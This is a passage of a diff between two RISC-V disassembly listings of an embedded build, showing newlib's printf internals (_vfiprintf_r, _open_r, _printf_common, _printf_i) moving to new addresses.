-2040453e:	cb26                	sw	s1,148(sp)
-20404540:	c94a                	sw	s2,144(sp)
-20404542:	c74e                	sw	s3,140(sp)
-20404544:	cf06                	sw	ra,156(sp)
-20404546:	c552                	sw	s4,136(sp)
-20404548:	c356                	sw	s5,132(sp)
-2040454a:	c15a                	sw	s6,128(sp)
-2040454c:	dede                	sw	s7,124(sp)
-2040454e:	dce2                	sw	s8,120(sp)
-20404550:	dae6                	sw	s9,116(sp)
-20404552:	89aa                	mv	s3,a0
-20404554:	84ae                	mv	s1,a1
-20404556:	8932                	mv	s2,a2
-20404558:	8436                	mv	s0,a3
-2040455a:	c509                	beqz	a0,20404564 <_vfiprintf_r+0x2a>
-2040455c:	4d1c                	lw	a5,24(a0)
-2040455e:	e399                	bnez	a5,20404564 <_vfiprintf_r+0x2a>
-20404560:	d9cff0ef          	jal	ra,20403afc <__sinit>
-20404564:	00002797          	auipc	a5,0x2
-20404568:	9a878793          	addi	a5,a5,-1624 # 20405f0c <__sf_fake_stdin>
-2040456c:	0cf49c63          	bne	s1,a5,20404644 <_vfiprintf_r+0x10a>
-20404570:	0049a483          	lw	s1,4(s3)
-20404574:	00c4d783          	lhu	a5,12(s1)
-20404578:	8ba1                	andi	a5,a5,8
-2040457a:	c7fd                	beqz	a5,20404668 <_vfiprintf_r+0x12e>
-2040457c:	489c                	lw	a5,16(s1)
-2040457e:	c7ed                	beqz	a5,20404668 <_vfiprintf_r+0x12e>
-20404580:	02000793          	li	a5,32
-20404584:	02f104a3          	sb	a5,41(sp)
-20404588:	03000793          	li	a5,48
-2040458c:	d202                	sw	zero,36(sp)
-2040458e:	02f10523          	sb	a5,42(sp)
-20404592:	c622                	sw	s0,12(sp)
-20404594:	02500b93          	li	s7,37
-20404598:	00002a97          	auipc	s5,0x2
-2040459c:	9b4a8a93          	addi	s5,s5,-1612 # 20405f4c <__sf_fake_stdout+0x20>
-204045a0:	4c05                	li	s8,1
-204045a2:	4b29                	li	s6,10
-204045a4:	844a                	mv	s0,s2
-204045a6:	00044783          	lbu	a5,0(s0)
-204045aa:	c399                	beqz	a5,204045b0 <_vfiprintf_r+0x76>
-204045ac:	0f779063          	bne	a5,s7,2040468c <_vfiprintf_r+0x152>
-204045b0:	41240cb3          	sub	s9,s0,s2
-204045b4:	01240d63          	beq	s0,s2,204045ce <_vfiprintf_r+0x94>
-204045b8:	86e6                	mv	a3,s9
-204045ba:	864a                	mv	a2,s2
-204045bc:	85a6                	mv	a1,s1
-204045be:	854e                	mv	a0,s3
-204045c0:	3f25                	jal	204044f8 <__sfputs_r>
-204045c2:	57fd                	li	a5,-1
-204045c4:	1ef50463          	beq	a0,a5,204047ac <_vfiprintf_r+0x272>
-204045c8:	5792                	lw	a5,36(sp)
-204045ca:	97e6                	add	a5,a5,s9
-204045cc:	d23e                	sw	a5,36(sp)
-204045ce:	00044783          	lbu	a5,0(s0)
-204045d2:	1c078d63          	beqz	a5,204047ac <_vfiprintf_r+0x272>
-204045d6:	57fd                	li	a5,-1
-204045d8:	00140913          	addi	s2,s0,1
-204045dc:	c802                	sw	zero,16(sp)
-204045de:	ce02                	sw	zero,28(sp)
-204045e0:	ca3e                	sw	a5,20(sp)
-204045e2:	cc02                	sw	zero,24(sp)
-204045e4:	040109a3          	sb	zero,83(sp)
-204045e8:	d482                	sw	zero,104(sp)
-204045ea:	00094583          	lbu	a1,0(s2)
-204045ee:	4615                	li	a2,5
-204045f0:	8556                	mv	a0,s5
-204045f2:	7fc000ef          	jal	ra,20404dee <memchr>
-204045f6:	47c2                	lw	a5,16(sp)
-204045f8:	00190413          	addi	s0,s2,1
-204045fc:	e951                	bnez	a0,20404690 <_vfiprintf_r+0x156>
-204045fe:	0107f713          	andi	a4,a5,16
-20404602:	c709                	beqz	a4,2040460c <_vfiprintf_r+0xd2>
-20404604:	02000713          	li	a4,32
-20404608:	04e109a3          	sb	a4,83(sp)
-2040460c:	0087f713          	andi	a4,a5,8
-20404610:	c709                	beqz	a4,2040461a <_vfiprintf_r+0xe0>
-20404612:	02b00713          	li	a4,43
-20404616:	04e109a3          	sb	a4,83(sp)
-2040461a:	00094683          	lbu	a3,0(s2)
-2040461e:	02a00713          	li	a4,42
-20404622:	06e68f63          	beq	a3,a4,204046a0 <_vfiprintf_r+0x166>
-20404626:	47f2                	lw	a5,28(sp)
-20404628:	844a                	mv	s0,s2
-2040462a:	4681                	li	a3,0
-2040462c:	4625                	li	a2,9
-2040462e:	00044703          	lbu	a4,0(s0)
-20404632:	00140593          	addi	a1,s0,1
-20404636:	fd070713          	addi	a4,a4,-48
-2040463a:	0ae67863          	bgeu	a2,a4,204046ea <_vfiprintf_r+0x1b0>
-2040463e:	caad                	beqz	a3,204046b0 <_vfiprintf_r+0x176>
-20404640:	ce3e                	sw	a5,28(sp)
-20404642:	a0bd                	j	204046b0 <_vfiprintf_r+0x176>
-20404644:	00002797          	auipc	a5,0x2
-20404648:	8e878793          	addi	a5,a5,-1816 # 20405f2c <__sf_fake_stdout>
-2040464c:	00f49563          	bne	s1,a5,20404656 <_vfiprintf_r+0x11c>
-20404650:	0089a483          	lw	s1,8(s3)
-20404654:	b705                	j	20404574 <_vfiprintf_r+0x3a>
-20404656:	00002797          	auipc	a5,0x2
-2040465a:	89678793          	addi	a5,a5,-1898 # 20405eec <__sf_fake_stderr>
-2040465e:	f0f49be3          	bne	s1,a5,20404574 <_vfiprintf_r+0x3a>
-20404662:	00c9a483          	lw	s1,12(s3)
-20404666:	b739                	j	20404574 <_vfiprintf_r+0x3a>
-20404668:	85a6                	mv	a1,s1
-2040466a:	854e                	mv	a0,s3
-2040466c:	2ebd                	jal	204049ea <__swsetup_r>
-2040466e:	d909                	beqz	a0,20404580 <_vfiprintf_r+0x46>
-20404670:	557d                	li	a0,-1
-20404672:	40fa                	lw	ra,156(sp)
-20404674:	446a                	lw	s0,152(sp)
-20404676:	44da                	lw	s1,148(sp)
-20404678:	494a                	lw	s2,144(sp)
-2040467a:	49ba                	lw	s3,140(sp)
-2040467c:	4a2a                	lw	s4,136(sp)
-2040467e:	4a9a                	lw	s5,132(sp)
-20404680:	4b0a                	lw	s6,128(sp)
-20404682:	5bf6                	lw	s7,124(sp)
-20404684:	5c66                	lw	s8,120(sp)
-20404686:	5cd6                	lw	s9,116(sp)
-20404688:	610d                	addi	sp,sp,160
-2040468a:	8082                	ret
-2040468c:	0405                	addi	s0,s0,1
-2040468e:	bf21                	j	204045a6 <_vfiprintf_r+0x6c>
-20404690:	41550533          	sub	a0,a0,s5
-20404694:	00ac1533          	sll	a0,s8,a0
-20404698:	8fc9                	or	a5,a5,a0
-2040469a:	c83e                	sw	a5,16(sp)
-2040469c:	8922                	mv	s2,s0
-2040469e:	b7b1                	j	204045ea <_vfiprintf_r+0xb0>
-204046a0:	4732                	lw	a4,12(sp)
-204046a2:	00470693          	addi	a3,a4,4
-204046a6:	4318                	lw	a4,0(a4)
-204046a8:	c636                	sw	a3,12(sp)
-204046aa:	02074963          	bltz	a4,204046dc <_vfiprintf_r+0x1a2>
-204046ae:	ce3a                	sw	a4,28(sp)
-204046b0:	00044703          	lbu	a4,0(s0)
-204046b4:	02e00793          	li	a5,46
-204046b8:	04f71f63          	bne	a4,a5,20404716 <_vfiprintf_r+0x1dc>
-204046bc:	00144703          	lbu	a4,1(s0)
-204046c0:	02a00793          	li	a5,42
-204046c4:	02f71b63          	bne	a4,a5,204046fa <_vfiprintf_r+0x1c0>
-204046c8:	47b2                	lw	a5,12(sp)
-204046ca:	0409                	addi	s0,s0,2
-204046cc:	00478713          	addi	a4,a5,4
-204046d0:	439c                	lw	a5,0(a5)
-204046d2:	c63a                	sw	a4,12(sp)
-204046d4:	0207c163          	bltz	a5,204046f6 <_vfiprintf_r+0x1bc>
-204046d8:	ca3e                	sw	a5,20(sp)
-204046da:	a835                	j	20404716 <_vfiprintf_r+0x1dc>
-204046dc:	40e00733          	neg	a4,a4
-204046e0:	0027e793          	ori	a5,a5,2
-204046e4:	ce3a                	sw	a4,28(sp)
-204046e6:	c83e                	sw	a5,16(sp)
-204046e8:	b7e1                	j	204046b0 <_vfiprintf_r+0x176>
-204046ea:	036787b3          	mul	a5,a5,s6
-204046ee:	842e                	mv	s0,a1
-204046f0:	4685                	li	a3,1
-204046f2:	97ba                	add	a5,a5,a4
-204046f4:	bf2d                	j	2040462e <_vfiprintf_r+0xf4>
-204046f6:	57fd                	li	a5,-1
-204046f8:	b7c5                	j	204046d8 <_vfiprintf_r+0x19e>
-204046fa:	0405                	addi	s0,s0,1
-204046fc:	ca02                	sw	zero,20(sp)
-204046fe:	4681                	li	a3,0
-20404700:	4781                	li	a5,0
-20404702:	4625                	li	a2,9
-20404704:	00044703          	lbu	a4,0(s0)
-20404708:	00140593          	addi	a1,s0,1
-2040470c:	fd070713          	addi	a4,a4,-48
-20404710:	06e67463          	bgeu	a2,a4,20404778 <_vfiprintf_r+0x23e>
-20404714:	f2f1                	bnez	a3,204046d8 <_vfiprintf_r+0x19e>
-20404716:	00044583          	lbu	a1,0(s0)
-2040471a:	460d                	li	a2,3
-2040471c:	00002517          	auipc	a0,0x2
-20404720:	83850513          	addi	a0,a0,-1992 # 20405f54 <__sf_fake_stdout+0x28>
-20404724:	25e9                	jal	20404dee <memchr>
-20404726:	cd11                	beqz	a0,20404742 <_vfiprintf_r+0x208>
-20404728:	00002797          	auipc	a5,0x2
-2040472c:	82c78793          	addi	a5,a5,-2004 # 20405f54 <__sf_fake_stdout+0x28>
-20404730:	8d1d                	sub	a0,a0,a5
-20404732:	04000793          	li	a5,64
-20404736:	00a797b3          	sll	a5,a5,a0
-2040473a:	4542                	lw	a0,16(sp)
-2040473c:	0405                	addi	s0,s0,1
-2040473e:	8d5d                	or	a0,a0,a5
-20404740:	c82a                	sw	a0,16(sp)
-20404742:	00044583          	lbu	a1,0(s0)
-20404746:	4619                	li	a2,6
-20404748:	00002517          	auipc	a0,0x2
-2040474c:	81050513          	addi	a0,a0,-2032 # 20405f58 <__sf_fake_stdout+0x2c>
-20404750:	00140913          	addi	s2,s0,1
-20404754:	02b10423          	sb	a1,40(sp)
-20404758:	2d59                	jal	20404dee <memchr>
-2040475a:	c12d                	beqz	a0,204047bc <_vfiprintf_r+0x282>
-2040475c:	00000793          	li	a5,0
-20404760:	e795                	bnez	a5,2040478c <_vfiprintf_r+0x252>
-20404762:	4742                	lw	a4,16(sp)
-20404764:	47b2                	lw	a5,12(sp)
-20404766:	10077713          	andi	a4,a4,256
-2040476a:	cf09                	beqz	a4,20404784 <_vfiprintf_r+0x24a>
-2040476c:	0791                	addi	a5,a5,4
-2040476e:	c63e                	sw	a5,12(sp)
-20404770:	5792                	lw	a5,36(sp)
-20404772:	97d2                	add	a5,a5,s4
-20404774:	d23e                	sw	a5,36(sp)
-20404776:	b53d                	j	204045a4 <_vfiprintf_r+0x6a>
-20404778:	036787b3          	mul	a5,a5,s6
-2040477c:	842e                	mv	s0,a1
-2040477e:	4685                	li	a3,1
-20404780:	97ba                	add	a5,a5,a4
-20404782:	b749                	j	20404704 <_vfiprintf_r+0x1ca>
-20404784:	079d                	addi	a5,a5,7
-20404786:	9be1                	andi	a5,a5,-8
-20404788:	07a1                	addi	a5,a5,8
-2040478a:	b7d5                	j	2040476e <_vfiprintf_r+0x234>
-2040478c:	0078                	addi	a4,sp,12
-2040478e:	00000697          	auipc	a3,0x0
-20404792:	d6a68693          	addi	a3,a3,-662 # 204044f8 <__sfputs_r>
-20404796:	8626                	mv	a2,s1
-20404798:	080c                	addi	a1,sp,16
-2040479a:	854e                	mv	a0,s3
-2040479c:	00000097          	auipc	ra,0x0
-204047a0:	000000e7          	jalr	zero # 0 <__stack_size-0x800>
-204047a4:	57fd                	li	a5,-1
-204047a6:	8a2a                	mv	s4,a0
-204047a8:	fcf514e3          	bne	a0,a5,20404770 <_vfiprintf_r+0x236>
-204047ac:	00c4d783          	lhu	a5,12(s1)
-204047b0:	0407f793          	andi	a5,a5,64
-204047b4:	ea079ee3          	bnez	a5,20404670 <_vfiprintf_r+0x136>
-204047b8:	5512                	lw	a0,36(sp)
-204047ba:	bd65                	j	20404672 <_vfiprintf_r+0x138>
-204047bc:	0078                	addi	a4,sp,12
-204047be:	00000697          	auipc	a3,0x0
-204047c2:	d3a68693          	addi	a3,a3,-710 # 204044f8 <__sfputs_r>
-204047c6:	8626                	mv	a2,s1
-204047c8:	080c                	addi	a1,sp,16
-204047ca:	854e                	mv	a0,s3
-204047cc:	a93ff0ef          	jal	ra,2040425e <_printf_i>
-204047d0:	bfd1                	j	204047a4 <_vfiprintf_r+0x26a>
+20402e9a <_printf_common>:
+20402e9a:	7179                	addi	sp,sp,-48
+20402e9c:	cc52                	sw	s4,24(sp)
+20402e9e:	499c                	lw	a5,16(a1)
+20402ea0:	8a3a                	mv	s4,a4
+20402ea2:	4598                	lw	a4,8(a1)
+20402ea4:	d422                	sw	s0,40(sp)
+20402ea6:	d226                	sw	s1,36(sp)
+20402ea8:	ce4e                	sw	s3,28(sp)
+20402eaa:	ca56                	sw	s5,20(sp)
+20402eac:	d606                	sw	ra,44(sp)
+20402eae:	d04a                	sw	s2,32(sp)
+20402eb0:	c85a                	sw	s6,16(sp)
+20402eb2:	c65e                	sw	s7,12(sp)
+20402eb4:	89aa                	mv	s3,a0
+20402eb6:	842e                	mv	s0,a1
+20402eb8:	84b2                	mv	s1,a2
+20402eba:	8ab6                	mv	s5,a3
+20402ebc:	00e7d363          	bge	a5,a4,20402ec2 <_printf_common+0x28>
+20402ec0:	87ba                	mv	a5,a4
+20402ec2:	c09c                	sw	a5,0(s1)
+20402ec4:	04344703          	lbu	a4,67(s0)
+20402ec8:	c319                	beqz	a4,20402ece <_printf_common+0x34>
+20402eca:	0785                	addi	a5,a5,1
+20402ecc:	c09c                	sw	a5,0(s1)
+20402ece:	401c                	lw	a5,0(s0)
+20402ed0:	0207f793          	andi	a5,a5,32
+20402ed4:	c781                	beqz	a5,20402edc <_printf_common+0x42>
+20402ed6:	409c                	lw	a5,0(s1)
+20402ed8:	0789                	addi	a5,a5,2
+20402eda:	c09c                	sw	a5,0(s1)
+20402edc:	00042903          	lw	s2,0(s0)
+20402ee0:	00697913          	andi	s2,s2,6
+20402ee4:	00091a63          	bnez	s2,20402ef8 <_printf_common+0x5e>
+20402ee8:	01940b13          	addi	s6,s0,25
+20402eec:	5bfd                	li	s7,-1
+20402eee:	445c                	lw	a5,12(s0)
+20402ef0:	4098                	lw	a4,0(s1)
+20402ef2:	8f99                	sub	a5,a5,a4
+20402ef4:	04f94c63          	blt	s2,a5,20402f4c <_printf_common+0xb2>
+20402ef8:	04344783          	lbu	a5,67(s0)
+20402efc:	00f036b3          	snez	a3,a5
+20402f00:	401c                	lw	a5,0(s0)
+20402f02:	0207f793          	andi	a5,a5,32
+20402f06:	eba5                	bnez	a5,20402f76 <_printf_common+0xdc>
+20402f08:	04340613          	addi	a2,s0,67
+20402f0c:	85d6                	mv	a1,s5
+20402f0e:	854e                	mv	a0,s3
+20402f10:	9a02                	jalr	s4
+20402f12:	57fd                	li	a5,-1
+20402f14:	04f50363          	beq	a0,a5,20402f5a <_printf_common+0xc0>
+20402f18:	401c                	lw	a5,0(s0)
+20402f1a:	4611                	li	a2,4
+20402f1c:	4098                	lw	a4,0(s1)
+20402f1e:	8b99                	andi	a5,a5,6
+20402f20:	4454                	lw	a3,12(s0)
+20402f22:	4481                	li	s1,0
+20402f24:	00c79763          	bne	a5,a2,20402f32 <_printf_common+0x98>
+20402f28:	40e684b3          	sub	s1,a3,a4
+20402f2c:	0004d363          	bgez	s1,20402f32 <_printf_common+0x98>
+20402f30:	4481                	li	s1,0
+20402f32:	441c                	lw	a5,8(s0)
+20402f34:	4818                	lw	a4,16(s0)
+20402f36:	00f75463          	bge	a4,a5,20402f3e <_printf_common+0xa4>
+20402f3a:	8f99                	sub	a5,a5,a4
+20402f3c:	94be                	add	s1,s1,a5
+20402f3e:	4901                	li	s2,0
+20402f40:	0469                	addi	s0,s0,26
+20402f42:	5b7d                	li	s6,-1
+20402f44:	05249863          	bne	s1,s2,20402f94 <_printf_common+0xfa>
+20402f48:	4501                	li	a0,0
+20402f4a:	a809                	j	20402f5c <_printf_common+0xc2>
+20402f4c:	4685                	li	a3,1
+20402f4e:	865a                	mv	a2,s6
+20402f50:	85d6                	mv	a1,s5
+20402f52:	854e                	mv	a0,s3
+20402f54:	9a02                	jalr	s4
+20402f56:	01751e63          	bne	a0,s7,20402f72 <_printf_common+0xd8>
+20402f5a:	557d                	li	a0,-1
+20402f5c:	50b2                	lw	ra,44(sp)
+20402f5e:	5422                	lw	s0,40(sp)
+20402f60:	5492                	lw	s1,36(sp)
+20402f62:	5902                	lw	s2,32(sp)
+20402f64:	49f2                	lw	s3,28(sp)
+20402f66:	4a62                	lw	s4,24(sp)
+20402f68:	4ad2                	lw	s5,20(sp)
+20402f6a:	4b42                	lw	s6,16(sp)
+20402f6c:	4bb2                	lw	s7,12(sp)
+20402f6e:	6145                	addi	sp,sp,48
+20402f70:	8082                	ret
+20402f72:	0905                	addi	s2,s2,1
+20402f74:	bfad                	j	20402eee <_printf_common+0x54>
+20402f76:	00d40733          	add	a4,s0,a3
+20402f7a:	03000613          	li	a2,48
+20402f7e:	04c701a3          	sb	a2,67(a4)
+20402f82:	04544703          	lbu	a4,69(s0)
+20402f86:	00168793          	addi	a5,a3,1
+20402f8a:	97a2                	add	a5,a5,s0
+20402f8c:	0689                	addi	a3,a3,2
+20402f8e:	04e781a3          	sb	a4,67(a5)
+20402f92:	bf9d                	j	20402f08 <_printf_common+0x6e>
+20402f94:	4685                	li	a3,1
+20402f96:	8622                	mv	a2,s0
+20402f98:	85d6                	mv	a1,s5
+20402f9a:	854e                	mv	a0,s3
+20402f9c:	9a02                	jalr	s4
+20402f9e:	fb650ee3          	beq	a0,s6,20402f5a <_printf_common+0xc0>
+20402fa2:	0905                	addi	s2,s2,1
+20402fa4:	b745                	j	20402f44 <_printf_common+0xaa>
 
-204047d2 <_open_r>:
-204047d2:	1141                	addi	sp,sp,-16
-204047d4:	c422                	sw	s0,8(sp)
-204047d6:	842a                	mv	s0,a0
-204047d8:	852e                	mv	a0,a1
-204047da:	85b2                	mv	a1,a2
-204047dc:	8636                	mv	a2,a3
-204047de:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-204047e2:	c606                	sw	ra,12(sp)
-204047e4:	b70fe0ef          	jal	ra,20402b54 <_open>
-204047e8:	57fd                	li	a5,-1
-204047ea:	00f51663          	bne	a0,a5,204047f6 <_open_r+0x24>
-204047ee:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-204047f2:	c391                	beqz	a5,204047f6 <_open_r+0x24>
-204047f4:	c01c                	sw	a5,0(s0)
-204047f6:	40b2                	lw	ra,12(sp)
-204047f8:	4422                	lw	s0,8(sp)
-204047fa:	0141                	addi	sp,sp,16
-204047fc:	8082                	ret
+20402fa6 <_printf_i>:
+20402fa6:	7179                	addi	sp,sp,-48
+20402fa8:	d422                	sw	s0,40(sp)
+20402faa:	d226                	sw	s1,36(sp)
+20402fac:	d04a                	sw	s2,32(sp)
+20402fae:	ce4e                	sw	s3,28(sp)
+20402fb0:	d606                	sw	ra,44(sp)
+20402fb2:	cc52                	sw	s4,24(sp)
+20402fb4:	ca56                	sw	s5,20(sp)
+20402fb6:	c85a                	sw	s6,16(sp)
+20402fb8:	0185c803          	lbu	a6,24(a1)
+20402fbc:	07800793          	li	a5,120
+20402fc0:	84aa                	mv	s1,a0
+20402fc2:	842e                	mv	s0,a1
+20402fc4:	8932                	mv	s2,a2
+20402fc6:	89b6                	mv	s3,a3
+20402fc8:	0107ee63          	bltu	a5,a6,20402fe4 <_printf_i+0x3e>
+20402fcc:	06200793          	li	a5,98
+20402fd0:	04358693          	addi	a3,a1,67
+20402fd4:	0107ed63          	bltu	a5,a6,20402fee <_printf_i+0x48>
+20402fd8:	1c080563          	beqz	a6,204031a2 <_printf_i+0x1fc>
+20402fdc:	05800793          	li	a5,88
+20402fe0:	12f80a63          	beq	a6,a5,20403114 <_printf_i+0x16e>
+20402fe4:	04240a93          	addi	s5,s0,66
+20402fe8:	05040123          	sb	a6,66(s0)
+20402fec:	a815                	j	20403020 <_printf_i+0x7a>
+20402fee:	f9d80793          	addi	a5,a6,-99
+20402ff2:	0ff7f793          	andi	a5,a5,255
+20402ff6:	4655                	li	a2,21
+20402ff8:	fef666e3          	bltu	a2,a5,20402fe4 <_printf_i+0x3e>
+20402ffc:	00001617          	auipc	a2,0x1
+20403000:	4cc60613          	addi	a2,a2,1228 # 204044c8 <__sf_fake_stdout+0x5c>
+20403004:	078a                	slli	a5,a5,0x2
+20403006:	97b2                	add	a5,a5,a2
+20403008:	439c                	lw	a5,0(a5)
+2040300a:	97b2                	add	a5,a5,a2
+2040300c:	8782                	jr	a5
+2040300e:	431c                	lw	a5,0(a4)
+20403010:	04258a93          	addi	s5,a1,66
+20403014:	00478693          	addi	a3,a5,4
+20403018:	439c                	lw	a5,0(a5)
+2040301a:	c314                	sw	a3,0(a4)
+2040301c:	04f58123          	sb	a5,66(a1)
+20403020:	4785                	li	a5,1
+20403022:	a265                	j	204031ca <_printf_i+0x224>
+20403024:	419c                	lw	a5,0(a1)
+20403026:	4308                	lw	a0,0(a4)
+20403028:	0807f613          	andi	a2,a5,128
+2040302c:	00450593          	addi	a1,a0,4
+20403030:	c20d                	beqz	a2,20403052 <_printf_i+0xac>
+20403032:	411c                	lw	a5,0(a0)
+20403034:	c30c                	sw	a1,0(a4)
+20403036:	0007d863          	bgez	a5,20403046 <_printf_i+0xa0>
+2040303a:	02d00713          	li	a4,45
+2040303e:	40f007b3          	neg	a5,a5
+20403042:	04e401a3          	sb	a4,67(s0)
+20403046:	00001617          	auipc	a2,0x1
+2040304a:	45a60613          	addi	a2,a2,1114 # 204044a0 <__sf_fake_stdout+0x34>
+2040304e:	4829                	li	a6,10
+20403050:	a0a1                	j	20403098 <_printf_i+0xf2>
+20403052:	0407f613          	andi	a2,a5,64
+20403056:	411c                	lw	a5,0(a0)
+20403058:	c30c                	sw	a1,0(a4)
+2040305a:	de71                	beqz	a2,20403036 <_printf_i+0x90>
+2040305c:	07c2                	slli	a5,a5,0x10
+2040305e:	87c1                	srai	a5,a5,0x10
+20403060:	bfd9                	j	20403036 <_printf_i+0x90>
+20403062:	4190                	lw	a2,0(a1)
+20403064:	431c                	lw	a5,0(a4)
+20403066:	08067513          	andi	a0,a2,128
+2040306a:	00478593          	addi	a1,a5,4
+2040306e:	c501                	beqz	a0,20403076 <_printf_i+0xd0>
+20403070:	c30c                	sw	a1,0(a4)
+20403072:	439c                	lw	a5,0(a5)
+20403074:	a039                	j	20403082 <_printf_i+0xdc>
+20403076:	04067613          	andi	a2,a2,64
+2040307a:	c30c                	sw	a1,0(a4)
+2040307c:	da7d                	beqz	a2,20403072 <_printf_i+0xcc>
+2040307e:	0007d783          	lhu	a5,0(a5)
+20403082:	06f00713          	li	a4,111
+20403086:	00001617          	auipc	a2,0x1
+2040308a:	41a60613          	addi	a2,a2,1050 # 204044a0 <__sf_fake_stdout+0x34>
+2040308e:	0ee80463          	beq	a6,a4,20403176 <_printf_i+0x1d0>
+20403092:	4829                	li	a6,10
+20403094:	040401a3          	sb	zero,67(s0)
+20403098:	4058                	lw	a4,4(s0)
+2040309a:	c418                	sw	a4,8(s0)
+2040309c:	00074563          	bltz	a4,204030a6 <_printf_i+0x100>
+204030a0:	400c                	lw	a1,0(s0)
+204030a2:	99ed                	andi	a1,a1,-5
+204030a4:	c00c                	sw	a1,0(s0)
+204030a6:	e399                	bnez	a5,204030ac <_printf_i+0x106>
+204030a8:	8ab6                	mv	s5,a3
+204030aa:	cf19                	beqz	a4,204030c8 <_printf_i+0x122>
+204030ac:	8ab6                	mv	s5,a3
+204030ae:	0307f733          	remu	a4,a5,a6
+204030b2:	1afd                	addi	s5,s5,-1
+204030b4:	9732                	add	a4,a4,a2
+204030b6:	00074703          	lbu	a4,0(a4)
+204030ba:	00ea8023          	sb	a4,0(s5)
+204030be:	873e                	mv	a4,a5
+204030c0:	0307d7b3          	divu	a5,a5,a6
+204030c4:	ff0775e3          	bgeu	a4,a6,204030ae <_printf_i+0x108>
+204030c8:	47a1                	li	a5,8
+204030ca:	00f81e63          	bne	a6,a5,204030e6 <_printf_i+0x140>
+204030ce:	401c                	lw	a5,0(s0)
+204030d0:	8b85                	andi	a5,a5,1
+204030d2:	cb91                	beqz	a5,204030e6 <_printf_i+0x140>
+204030d4:	4058                	lw	a4,4(s0)
+204030d6:	481c                	lw	a5,16(s0)
+204030d8:	00e7c763          	blt	a5,a4,204030e6 <_printf_i+0x140>
+204030dc:	03000793          	li	a5,48
+204030e0:	fefa8fa3          	sb	a5,-1(s5)
+204030e4:	1afd                	addi	s5,s5,-1
+204030e6:	415686b3          	sub	a3,a3,s5
+204030ea:	c814                	sw	a3,16(s0)
+204030ec:	874e                	mv	a4,s3
+204030ee:	86ca                	mv	a3,s2
+204030f0:	0070                	addi	a2,sp,12
+204030f2:	85a2                	mv	a1,s0
+204030f4:	8526                	mv	a0,s1
+204030f6:	3355                	jal	20402e9a <_printf_common>
+204030f8:	5a7d                	li	s4,-1
+204030fa:	0d451c63          	bne	a0,s4,204031d2 <_printf_i+0x22c>
+204030fe:	557d                	li	a0,-1
+20403100:	50b2                	lw	ra,44(sp)
+20403102:	5422                	lw	s0,40(sp)
+20403104:	5492                	lw	s1,36(sp)
+20403106:	5902                	lw	s2,32(sp)
+20403108:	49f2                	lw	s3,28(sp)
+2040310a:	4a62                	lw	s4,24(sp)
+2040310c:	4ad2                	lw	s5,20(sp)
+2040310e:	4b42                	lw	s6,16(sp)
+20403110:	6145                	addi	sp,sp,48
+20403112:	8082                	ret
+20403114:	050582a3          	sb	a6,69(a1)
+20403118:	00001617          	auipc	a2,0x1
+2040311c:	38860613          	addi	a2,a2,904 # 204044a0 <__sf_fake_stdout+0x34>
+20403120:	400c                	lw	a1,0(s0)
+20403122:	4308                	lw	a0,0(a4)
+20403124:	0805f813          	andi	a6,a1,128
+20403128:	411c                	lw	a5,0(a0)
+2040312a:	0511                	addi	a0,a0,4
+2040312c:	02080d63          	beqz	a6,20403166 <_printf_i+0x1c0>
+20403130:	c308                	sw	a0,0(a4)
+20403132:	0015f713          	andi	a4,a1,1
+20403136:	c701                	beqz	a4,2040313e <_printf_i+0x198>
+20403138:	0205e593          	ori	a1,a1,32
+2040313c:	c00c                	sw	a1,0(s0)
+2040313e:	4841                	li	a6,16
+20403140:	fbb1                	bnez	a5,20403094 <_printf_i+0xee>
+20403142:	4018                	lw	a4,0(s0)
+20403144:	fdf77713          	andi	a4,a4,-33
+20403148:	c018                	sw	a4,0(s0)
+2040314a:	b7a9                	j	20403094 <_printf_i+0xee>
+2040314c:	419c                	lw	a5,0(a1)
+2040314e:	0207e793          	ori	a5,a5,32
+20403152:	c19c                	sw	a5,0(a1)
+20403154:	07800793          	li	a5,120
+20403158:	04f402a3          	sb	a5,69(s0)
+2040315c:	00001617          	auipc	a2,0x1
+20403160:	35860613          	addi	a2,a2,856 # 204044b4 <__sf_fake_stdout+0x48>
+20403164:	bf75                	j	20403120 <_printf_i+0x17a>
+20403166:	0405f813          	andi	a6,a1,64
+2040316a:	c308                	sw	a0,0(a4)
+2040316c:	fc0803e3          	beqz	a6,20403132 <_printf_i+0x18c>
+20403170:	07c2                	slli	a5,a5,0x10
+20403172:	83c1                	srli	a5,a5,0x10
+20403174:	bf7d                	j	20403132 <_printf_i+0x18c>
+20403176:	4821                	li	a6,8
+20403178:	bf31                	j	20403094 <_printf_i+0xee>
+2040317a:	4190                	lw	a2,0(a1)
+2040317c:	431c                	lw	a5,0(a4)
+2040317e:	49cc                	lw	a1,20(a1)
+20403180:	08067813          	andi	a6,a2,128
+20403184:	00478513          	addi	a0,a5,4
+20403188:	00080663          	beqz	a6,20403194 <_printf_i+0x1ee>
+2040318c:	c308                	sw	a0,0(a4)
+2040318e:	439c                	lw	a5,0(a5)
+20403190:	c38c                	sw	a1,0(a5)
+20403192:	a801                	j	204031a2 <_printf_i+0x1fc>
+20403194:	c308                	sw	a0,0(a4)
+20403196:	04067613          	andi	a2,a2,64
+2040319a:	439c                	lw	a5,0(a5)
+2040319c:	da75                	beqz	a2,20403190 <_printf_i+0x1ea>
+2040319e:	00b79023          	sh	a1,0(a5)
+204031a2:	00042823          	sw	zero,16(s0)
+204031a6:	8ab6                	mv	s5,a3
+204031a8:	b791                	j	204030ec <_printf_i+0x146>
+204031aa:	431c                	lw	a5,0(a4)
+204031ac:	41d0                	lw	a2,4(a1)
+204031ae:	4581                	li	a1,0
+204031b0:	00478693          	addi	a3,a5,4
+204031b4:	c314                	sw	a3,0(a4)
+204031b6:	0007aa83          	lw	s5,0(a5)
+204031ba:	8556                	mv	a0,s5
+204031bc:	153000ef          	jal	ra,20403b0e <memchr>
+204031c0:	c501                	beqz	a0,204031c8 <_printf_i+0x222>
+204031c2:	41550533          	sub	a0,a0,s5
+204031c6:	c048                	sw	a0,4(s0)
+204031c8:	405c                	lw	a5,4(s0)
+204031ca:	c81c                	sw	a5,16(s0)
+204031cc:	040401a3          	sb	zero,67(s0)
+204031d0:	bf31                	j	204030ec <_printf_i+0x146>
+204031d2:	4814                	lw	a3,16(s0)
+204031d4:	8656                	mv	a2,s5
+204031d6:	85ca                	mv	a1,s2
+204031d8:	8526                	mv	a0,s1
+204031da:	9982                	jalr	s3
+204031dc:	f34501e3          	beq	a0,s4,204030fe <_printf_i+0x158>
+204031e0:	401c                	lw	a5,0(s0)
+204031e2:	8b89                	andi	a5,a5,2
